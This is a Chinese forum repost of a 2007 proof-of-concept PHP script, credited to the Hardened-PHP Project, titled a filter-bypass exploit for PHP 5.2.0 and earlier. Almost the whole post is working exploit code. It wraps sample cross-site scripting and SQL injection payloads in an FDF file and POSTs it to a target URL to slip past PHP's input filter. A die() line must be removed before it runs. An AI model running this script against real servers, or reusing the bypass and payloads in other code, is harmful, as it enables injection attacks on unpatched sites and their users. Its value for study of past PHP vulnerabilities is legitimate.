发新话题
打印

PHP <= 5.2.0 ext/filter FDF Post Filter Bypass Exploit

PHP <= 5.2.0 ext/filter FDF Post Filter Bypass Exploit

复制内容到剪贴板
代码:
<?php
////////////////////////////////////////////////////////////////////////
// _ _        _           _    ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _  ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_|   |_| |_||_||_|  //
//                                  //
//     Proof of concept code from the Hardened-PHP Project    //
//          (C) Copyright 2007 Stefan Esser         //
//                                  //
////////////////////////////////////////////////////////////////////////
//      PHP ext/filtet FDF POST Filter Bybass Exploit      //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

// _POST is the array that will be sent to the url in $url
$_POST = array();
$_POST[&#39;var1&#39;] = "<script>alert(/XSS/);</script>";
$_POST[&#39;var2&#39;] = " &#39; UNION SELECT ";

$url = "http://127.0.0.1/info.php";

// You do not need to change anything below this

$outfdf = fdf_create();
foreach ($_POST as $key => $value) {
  fdf_set_value($outfdf, $key, $value, 0);
}
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);

$ret = file_get_contents("outtest.fdf");
unlink("outtest.fdf");

$params = array(&#39;http&#39; => array(
   &#39;method&#39; => &#39;POST&#39;,
   &#39;content&#39; => $ret,
   &#39;header&#39; => &#39;Content-Type: application/vnd.fdf&#39;
));

$ctx = stream_context_create($params);
$fp = @fopen($url, &#39;rb&#39;, false, $ctx);
if (!$fp) {
  die("Cannot open $url");
}
$response = @stream_get_contents($fp);

echo $response;
echo "\n";
?>

TOP

发新话题